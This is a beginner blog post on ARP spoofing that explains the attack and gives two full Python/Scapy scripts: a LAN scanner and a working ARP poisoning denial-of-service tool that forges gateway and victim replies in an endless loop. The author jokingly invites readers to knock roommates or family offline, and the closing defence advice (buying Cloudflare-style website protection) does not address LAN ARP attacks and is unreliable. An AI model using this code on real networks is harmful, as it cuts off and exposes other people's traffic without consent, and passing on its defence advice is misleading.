DEV Community

Cover image for The Easiest Network Attack for Beginners: ARP Spoofing
mpoiiii
mpoiiii

Posted on

The Easiest Network Attack for Beginners: ARP Spoofing

What is ARP (Address Resolution Protocol)?

The Address Resolution Protocol (ARP) is a crucial protocol used in local area networks to convert IP addresses into physical addresses (MAC addresses).

What is an ARP Attack?

An ARP attack is an exploitation of the ARP protocol's vulnerabilities. By sending forged ARP messages, attackers can bind their MAC address to the victim's IP address, intercepting, altering, or disrupting network communications.

Why is ARP Attack the Easiest to Implement?

ARP attacks are particularly easy to implement because the ARP protocol lacks inherent security features, making it a prime target for network attackers. ARP spoofing or ARP poisoning has thus become a common and dangerous network attack method.

With Python, you can complete the code in under 100 lines, and the effects are quite significant—your roommate or family members could quickly lose their WiFi connection. Of course, you should not attempt to attack others randomly, except perhaps good friends.

What Can ARP Attacks Do?

Image description

  1. Denial of Service Attack: You can disrupt your roommate's or family's Wi-Fi connection through an ARP attack. By tricking the target computer into thinking the attacker is the gateway, the attacker can interrupt the communication between the target computer and the gateway, preventing the target computer from accessing network resources.

  2. Network Sniffing: Attackers can use ARP attacks to capture all communication packets on the network, allowing them to analyze and extract sensitive information.

  3. Data Tampering: Through a man-in-the-middle attack, attackers can alter the contents of data packets, thereby changing the communication data.

Real-Life Examples

  • Enterprise Networks: Attackers can perform ARP spoofing within a company's internal network to steal employees' login credentials, email contents, and other sensitive information.
  • Public Wi-Fi: In places like cafes and airports, attackers can use ARP spoofing to attack users connected to the same Wi-Fi network, stealing their private data.
  • Home Networks: Attackers can perform ARP spoofing on home network devices to steal users' browsing history, login information, and more.

How ARP Attacks Work

  1. ARP Spoofing: Attackers send forged ARP response messages to other devices on the local network, binding their MAC address to the legitimate device's IP address. For example, attackers can bind their MAC address to the gateway's IP address, tricking all devices on the local network into sending data to the attacker.

  2. Man-in-the-Middle Attack: Once ARP spoofing is successful, attackers can position themselves between the victim and the gateway, intercepting and forwarding all communication data. This allows attackers to steal sensitive information, such as login credentials and bank account information.

  3. Data Tampering: Attackers can not only intercept data but also alter it before forwarding it to the victim or the gateway, enabling further attacks.

Implementing ARP Attack with Python

First, we will implement a basic ARP scanning function. Implementing ARP probing is straightforward. We can define two functions: one called generate_ip_range, which takes an IP address string and generates all host addresses within that subnet; the other called arp_scan, which sends ARP packets. We can use Scapy's ARP function to construct ARP requests and send them using srp, then await responses.

from scapy.all import *
import argparse
import threading, time
import logging

# Generate the IP range, e.g., input: 192.168.1.1/20 generates addresses 1-20
def Parse_IP(targets):
    _split = targets.split('/')
    first_ip = _split[0]
    ip_split = first_ip.split('.')
    ipv4 = range(int(ip_split[3]), int(_split[1]) + 1)
    addr = [ip_split[0] + '.' + ip_split[1] + '.' + ip_split[2] + '.' + str(p) for p in ipv4]
    return addr

# Scan the local network for online devices using the ARP protocol
def ARP_Scan(address):
    try:
        ret = sr1(ARP(pdst=address), timeout=5, verbose=False)
        if ret:
            if ret.haslayer('ARP') and ret.fields['op'] == 2:
                print('[+] IP address: %-13s ==> MAC address: %-15s' % (ret.fields['psrc'], ret.fields['hwsrc']))
    except Exception:
        exit(1)

if __name__ == "__main__":
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
    parser = argparse.ArgumentParser()
    parser.add_argument("-s", "--scan", dest="scan")
    args = parser.parse_args()
    # Usage: main.py -s 192.168.1.1/100
    if args.scan:
        addr_list = Parse_IP(args.scan)
        for item in addr_list:
            threads = []
            t = threading.Thread(target=ARP_Scan, args=(item,))
            threads.append(t)
            t.start()
        for item in threads:
            item.join()
    else:
        parser.print_help()
Enter fullscreen mode Exit fullscreen mode

Next, we will learn how to implement an ARP denial-of-service attack. The core of an ARP DOS attack is the send_payload function. Each call to this function sends two packets: the first packet pretends to be the gateway, tricking the target computer into thinking the attacker is the gateway; the second packet pretends to be the target computer, tricking the gateway into thinking the attacker is the target computer. By sending these two packets in multiple threads, the target computer will be unable to connect to the network, achieving a DOS attack.

"""
Disclaimer:

This code is intended for educational and experimental purposes only, to help users understand the ARP protocol and related network security concepts. Do not run this code on any actual network without explicit permission.

Unauthorized ARP attack activities are illegal and may result in network disruptions, data breaches, and other severe consequences. Users of this code must be responsible for their actions and comply with relevant laws and regulations.

The developers and publishers are not liable for any direct or indirect damages resulting from the use of this code. Please conduct experiments within the bounds of legal authority and ensure appropriate authorization.

Before running this code, please confirm that you have understood and accepted this disclaimer.
"""

from scapy.all import *
import argparse
import threading, time
import logging

# Create and send payloads
def SendPayload(Interface, srcMac, tgtMac, gateWayMac, gatewayIP, tgtIP):
    print("[+] Target MAC: {} Target IP: {} Sending: 2 packets".format(tgtMac, tgtIP))
    # Generate ARP packet, pretending to be the gateway to deceive the target computer
    sendp(Ether(src=srcMac, dst=tgtMac) / ARP(hwsrc=srcMac, psrc=gatewayIP, hwdst=tgtMac, pdst=tgtIP, op=2), iface=Interface)
    # Generate ARP packet, pretending to be the target computer to deceive the gateway
    sendp(Ether(src=srcMac, dst=gateWayMac) / ARP(hwsrc=srcMac, psrc=tgtIP, hwdst=gateWayMac, pdst=gatewayIP, op=2), iface=Interface)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-i", "--interface", dest="interface", help="Enter the interface name")
    parser.add_argument("-g", "--gateway", dest="gateway", help="Input Gateway Address")
    parser.add_argument("-t", "--target", dest="target", help="Enter the victim host address")
    args = parser.parse_args()

    # Usage: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10
    if args.gateway and args.target:
        srcMac = get_if_hwaddr(args.interface)  # Get the local MAC address through the interface name
        tgtMac = getmacbyip(args.target)  # Get the target computer's MAC address through its IP address
        gatewayMac = getmacbyip(args.gateway)  # Specify the gateway MAC address in the local network
        while True:
            t = threading.Thread(target=SendPayload, args=(args.interface, srcMac, tgtMac, gatewayMac, args.gateway, args.target))
            t.start()
            t.join()
            time.sleep(1)
    else:
        parser.print_help()
Enter fullscreen mode Exit fullscreen mode

How to Protect Against Everyday Network Attacks

As an independent developer, you might frequently encounter the challenge of protecting your website from various complex attacks, especially the simplest ones.

ARP attacks, for instance, are very easy to execute, with the attack code being less than 100 lines. However, the damage caused can be significant. If developers need to defend against every single type of attack in detail, it could be an overwhelming task, potentially exceeding the amount of development work.

Therefore, integrating third-party platforms has become a very common solution. Platforms like Edgeone and Cloudflare can provide effective protection services. Although these services may require a few dollars, they significantly reduce the mental burden compared to self-defense.

This is an article I wrote about common network attacks and their solutions. If you're interested, feel free to check it out.

Top comments (0)